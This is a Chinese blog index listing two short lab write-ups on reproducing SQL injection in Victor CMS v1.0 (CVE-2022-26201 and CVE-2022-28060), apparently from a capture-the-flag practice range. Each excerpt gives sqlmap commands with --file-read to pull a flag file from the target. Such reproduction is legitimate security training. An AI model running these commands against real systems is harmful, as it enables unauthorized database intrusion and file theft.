文章分类 -  漏洞复现

[春秋云镜]CVE-2022-26201 | Victor CMS v1.0 存在二次注入漏洞
摘要：靶标介绍： Victor CMS v1.0 存在二次注入漏洞 搜索，抓包 sqlmap跑注入点 python311 sqlmap.py -r G:/1.txt --file-read "/flag" --dbms mysql --batch 得出文件 查看文件 阅读全文
posted @ 2023-11-22 13:10 木头魂 阅读(476) 评论(0) 推荐(0)
【春秋云境】CVE-2022-28060
摘要：靶标介绍： Victor CMS v1.0 /includes/login.php 存在sql注入 复现步骤 1.访问路径，找到登录框。 2.抓包 3.复制到1.txt文件 4.sqlmap Python sqlmap.py -r 1.txt --file-read "/flag" --dbms m 阅读全文
posted @ 2023-11-21 13:02 木头魂 阅读(424) 评论(0) 推荐(0)